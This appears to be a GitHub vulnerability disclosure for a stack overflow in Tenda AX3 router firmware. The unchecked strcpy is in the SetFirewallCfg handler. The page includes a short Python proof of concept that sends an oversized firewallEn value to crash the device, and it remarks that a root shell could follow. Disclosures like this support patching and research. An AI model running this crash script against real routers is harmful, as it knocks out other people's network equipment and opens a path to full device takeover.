Skip to content
Permalink
main
Switch branches/tags

Name already in use

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
Go to file
 
 
Cannot retrieve contributors at this time

Tenda AX3 V16.03.12.11 Stack overflow vulnerability

Firmware information

Affected version

Vulnerability details

In /goform/SetFirewallCfg, The user can input firewallEn data into var. When the data entered by the user is greater than 3, the user input data will be strcpyed into the variable firewall_buf. It is worth noting that there is no size detection, resulting in stack overflow.

Poc

import requests

url = "http://192.168.0.1/goform/SetFirewallCfg"

firewallEn = "a" * 0x20000

r = requests.post(url, data={'firewallEn': firewallEn})
print(r.content)

Then you can see the router crash, and finally you can write exp to get rootshell